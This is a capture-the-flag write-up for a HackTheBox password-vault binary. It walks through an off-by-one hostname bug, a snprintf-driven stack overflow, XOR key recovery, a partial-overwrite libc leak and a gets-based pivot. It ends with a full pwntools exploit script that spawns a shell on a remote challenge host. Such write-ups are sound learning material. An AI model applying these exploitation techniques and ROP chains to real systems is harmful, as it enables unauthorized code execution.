Overview
This challenge consists in an ELF binary that allows a user to store hostnames (URLs) and passwords, it provides the following features:
Add Entry
: given a URL and a password it saves them in an array, encrypting the password with a randomly generated keyView Entries
: given an index the binary decrypts the password and prints it along with the URL
NOTES: The “encryption” is a simple xor with the random key:
v7 = pw_len - 1;
if (pw_len > 0 ) {
do {
password[i] ^= global_key[i & 0x3F];
v8 = i++;
}while ( v8 != v7 );
}
URLs and passwords get saved in structs:
struct entry {
char host[128];
char password[256];
size_t pw_len;
};
These structs reside within a global array of size 9.
Vulnerabilities
Before saving an hostname inside the array the URL gets parsed:
char *__fastcall parse_hostname(char *buf)
{
char *result; // rax
char *hostname; // [rsp+18h] [rbp-28h]
size_t len_hostname; // [rsp+20h] [rbp-20h]
char *urll; // [rsp+30h] [rbp-10h]
char *hostname_noport; // [rsp+38h] [rbp-8h]
hostname = url;
urll = strstr(url, "://");
if ( urll )
hostname = urll + 3;
hostname_noport = strchr(hostname, ':');
if ( hostname_noport )
{
len_hostname = hostname_noport - hostname;
if ( (unsigned __int64)(hostname_noport - hostname) > 0x80 )
len_hostname = 127LL;
strncpy(buf, hostname, len_hostname);
result = &buf[len_hostname];
buf[len_hostname] = 0;
}
else
{
strncpy(buf, hostname, 0x80uLL);
result = buf + 127;
buf[127] = 0;
}
return result;
}
url
is a global string of size 256 bytes that contains the inputted URL.
What this function does is simply extracting the hostname from a URL, removing the protocol and the port (if present) and saving it inside buf
.
For example: https://leo1.cc:443
-> leo1.cc
As buf
is 128 bytes long (it’s basically entry.host
within the struct), if the length of the hostname is exactly 128 bytes + “:” it passes the size check but gets null-terminated in the 129th byte. This is due to the (hostname_noport - hostname) > 0x80
, which should have been >= 0x80
.
As the password is saved in the struct after the hostname, the null byte of the latter gets overwritten by the password itself.
This leads to a buffer overflow in the view_entries
function.
Let’s take a step back and look more closely at the view_entries
function.
char msg[384];
...
entry = &entries[idx];
password = entry->password;
msg_size = snprintf(msg, 0x180uLL, "Hostname: %s\nPassword: ", entry->host);
pw_len = entry->pw_len;
v4 = &msg[msg_size];
pw_space = 384LL - msg_size;
i = 0LL;
v7 = pw_len - 1;
// in-memory xor
if (pw_len > 0 ) {
do {
password[i] ^= global_key[i & 0x3F];
v8 = i++;
}
while ( v8 != v7 );
}
pw_len_1 = strlen(password);
if ( pw_len_1 > pw_space )
pw_len_1 = pw_space;
memcpy(v4, password, pw_len_1); // memcpy is just for semplification
msg[383] = 0;
puts(msg);
What this code does is it prepares the msg
buffer and then prints it.
This is a weird approach and stands out. Also note that the password is appended to the buffer and that this is done using msg_size
, the return value of snprintf
.
As we created an hostname which is not null-terminated (so it’s basically the concatenation of hostname and password), msg_size
can be bigger than 384, leading to an overflow.
The reason is written in the man page of snprintf
:
If the output was truncated due to this limit then the return value is the number of characters (excluding the terminating null byte) which would have been written to the final string if enough space had been available.
As v4 = &msg[msg_size];
the password can be written at an offset from the end of msg
on the stack, jumping even the the canary if we want!
Exploitation
Overflowing the stack
Based on these vulnerabilities I wrote a simple payload to override stuff after the canary with some good old “A"s.
hostname = b"B"*128 + b":"
password = b"A"*255
What happens here is that the length returned by snprintf is greater than the size of msg
, so our password gets written just after the canary. But now, what’s after the canary?
Well, some saved registers and the return address of course!
pop rbx
pop r12
pop r13
pop r14
pop r15
retn
00:0000│ 0x7fffffffe4f8 ◂— 0x34e276c4e7dbf600
01:0008│ rsp 0x7fffffffe500 —▸ 0x7fffffffe534 ◂— 0xe7dbf60000000002
02:0010│ 0x7fffffffe508 —▸ 0x555555556650 ◂— 0x632a25642500203e /* '> ' */
03:0018│ 0x7fffffffe510 —▸ 0x555555556648 ◂— 0x74697845202e33 /* '3. Exit' */
04:0020│ 0x7fffffffe518 —▸ 0x555555556638 ◂— '2. View Entries'
05:0028│ 0x7fffffffe520 —▸ 0x55555555662b ◂— '1. Add Entry'
06:0030│ 0x7fffffffe528 —▸ 0x555555555327 ◂— jmp 0x555555555250
As you can see these registers contain char* that will be used to print the banner in the main
function.
Leaking libc
These saved registers are really useful when it comes to leaking stuff, as we can partially override one of those to make it point to a libc address somewhere inside the binary and leak it! This requires 4 bits of brute-force, due to the fact that the nearest libc address to one of those strings resides in the GOT section of the binary, so we need to perform a partial-override of 2 bytes. ASLR is enabled and it randomizes every bit of the address, except the last 12, that’s why we need to brute-force the remaining 4 bits.
It turns out that we cannot simply write a payload like
hostname = b"A"*128 + b":"
password = p16(0x7F70) # partial override
This is because the password is not long enough to trigger the overflow. We cannot add stuff after the password, otherwise we would break the partial-override, so now what?
Well, xor comes to the rescue! The xor mechanism works as sort of toggle: every time an entry gets viewed the password is xored in memory. This means that viewing an entry twice will leak the xored password and, as we obviously know the original password, we can leak the key.
r = conn()
add_entry(r,b"A" * 255, b"B" * 255)
view_entry(r,0) # view first time
hostname, password = view_entry(r,0) # view second time
key = xor(password, b"B" * 255)[:64]
Now we can write an encrypted payload that upon decryption contains null bytes
password = p16(0x7F70) + b"\x00"*253 # requires 4 bit bruteforce (0x7)
password = xor(password, key)[:3] + b"a"*252
This way we can submit a 255 bytes long password to scanf
, but when viewing it it’ll get xored with the key and become our partial-override payload!
Avoid scanf headaches
This approach is not entirely reliable as sometimes xor(password, key)
contains characters that stop the scanf
. To avoid headaches I wrote a script to find these characters (yeah, I could have RTFM, but this way was faster).
for i in range(256):
r = conn()
r.sendlineafter(b">", b"1")
r.sendlineafter(b":", b"a")
payload = b"a" + i.to_bytes() + b"a"
r.sendlineafter(b":", payload)
r.recvuntil(b">")
if r.recvuntil(b">", timeout=0.1) != b"":
print(i.to_bytes().hex())
r.close()
And the result was the following:
assert b"\x00" not in payload
assert b"\x0a" not in payload
assert b"\x0d" not in payload
assert b"\x0b" not in payload
assert b"\x0c" not in payload
assert b"\x20" not in payload
assert b"\x09" not in payload
The tedious path to RCE
With a libc leak and the ability to override the return address it should be easy to achieve RCE, right? Well, no.
We are not allowed to write more than one null byte in our payload, that’s because the first one terminates the password string:
pw_len_1 = strlen(password);
if ( pw_len_1 > pw_space )
pw_len_1 = pw_space;
memcpy(v4, password, pw_len_1);
strlen
calculates the length of a null-terminated string, so no chance of writing multiple null bytes.
So now it’s gadget time :/
Upon returning from view_entries
the registers are set as follows:
0xdeaddeadbeef
is our fake return address, but we also control r12
, r13
, r14
, r15
thanks to the 5 pops before return. As I explained above the values of these registers can’t contain null bytes, otherwise it terminates the string and the next part of the payload won’t be written.
Unfortunately there are no onegadgets that work, mainly because rbp
is set to 1.
5
In the end I came across a really interesting thing: looking at the disassembly of do_system
I noticed that it moves the first argument (rdi
) inside rbx
before using it.
pwndbg> disass do_system
Dump of assembler code for function do_system:
0x00007ffff7c50900 <+0>: push r15
...
0x00007ffff7c5092b <+43>: mov rbx,rdi
...
This gave me an idea, what if that depends on the compiler and every libc function does that before using the contents of rdi
?
Looking at gets
it turns out it does!
pwndbg> disass gets
Dump of assembler code for function _IO_gets:
Address range 0x7ffff7c80520 to 0x7ffff7c80699:
0x00007ffff7c80520 <+0>: endbr64
0x00007ffff7c80524 <+4>: push r13
0x00007ffff7c80526 <+6>: push r12
0x00007ffff7c80528 <+8>: push rbp
0x00007ffff7c80529 <+9>: push rbx
0x00007ffff7c8052a <+10>: mov rbx,rdi // MOVES RDI in RBX!!!
0x00007ffff7c8052d <+13>: sub rsp,0x18
As rbx
points on the stack just after rsp
, if we jump at gets+13
we are basically calling gets(rbx)
and writing on the stack frame of gets.
We can override it’s return address and create a ret2libc payload. We aren’t restricted by null bytes this time!
Final expolit
#!/usr/bin/env python3
from pwn import *
exe = ELF("vault_patched")
libc = ELF("glibc/libc.so.6")
ld = ELF("./ld-2.35.so")
context.binary = exe
context.terminal = ["alacritty", "-e"]
NC_CMD = "nc 94.237.59.147 52373"
gdbscript = \
"""
breakrva 0x1843
"""
def conn():
if args.LOCAL:
r = process([exe.path])
elif args.GDB:
r = gdb.debug([exe.path], gdbscript=gdbscript, aslr=False)
else:
r = remote(NC_CMD.split(" ")[1], int(NC_CMD.split(" ")[2]))
return r
def add_entry(r, url: bytes, password: bytes):
sleep(0.1)
r.sendline(b"1")
r.sendlineafter(b"URL: ", url)
r.sendlineafter(b"Password: ", password)
def view_entry(r, index: int):
sleep(0.1)
r.sendline(b"2")
r.sendlineafter(b"Index: ", str(index).encode("ascii"))
r.recvuntil(b"Hostname: ")
hostname = r.recvline().strip()
r.recvuntil(b"Password: ")
password = r.recvline()
return hostname, password
def main():
r = conn()
add_entry(r,b"A" * 255, b"B" * 255)
view_entry(r,0)
hostname, password = view_entry(r,0)
key = xor(password, b"B" * 255)[:64]
log.success(f"key: {key.hex()}")
# insert a password 255 chars long that xored with the key results in a \x00 at position 3
payload = p16(0x7F70) + b"\x00"*253
payload = xor(payload, key)[:3] + b"a"*252
assert b"\x00" not in payload
assert b"\x0a" not in payload
assert b"\x0d" not in payload
assert b"\x0b" not in payload
assert b"\x0c" not in payload
assert b"\x20" not in payload
assert b"\x09" not in payload
print(payload)
add_entry(r, b"A" * 128 + b":", payload)
hostname, password = view_entry(r, 1)
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"Index: ", str(1).encode("ascii"))
r.recvuntil(b"Exit\n")
libc.address = u64(r.recv(6) + b"\x00"*2) - 0x80e50
log.warning(f"libc: {hex(libc.address)}")
payload = b"G"*32 + p64(libc.sym.gets+13)[:6] + b"\x00"*217
payload = xor(payload, key)[:39] + b"a"*216
assert b"\x00" not in payload
assert b"\x0a" not in payload
assert b"\x0d" not in payload
assert b"\x0b" not in payload
assert b"\x0c" not in payload
assert b"\x20" not in payload
assert b"\x09" not in payload
add_entry(r, b"A" * 128 + b":", payload)
hostname, password = view_entry(r, 2)
sleep(0.1)
r.sendline(b"2\n2")
sleep(0.1)
POP_RDI = libc.address + 0x000000000002a3e5
RET = libc.address + 0x00000000000f410b
BINSH = libc.address + 0x1d8678
ret2libc = b"A"*28 + flat(POP_RDI, BINSH, libc.sym.system)
r.sendline(ret2libc)
sleep(0.1)
r.sendline("ls")
r.sendline("cat flag.txt")
r.interactive()
if __name__ == "__main__":
main()
FLAG: HTB{Fm7_S7r1Ng_T0_0n3_G4dG37_1S_Th3_1337_W4y}
Intended solve
As the flag suggests this was not the intended solution.
From what I understood after the end of the CTF the intended way of exploiting the overflow was to mess with the printf
used in the main
function by making r12
point to some user inputted format string payload.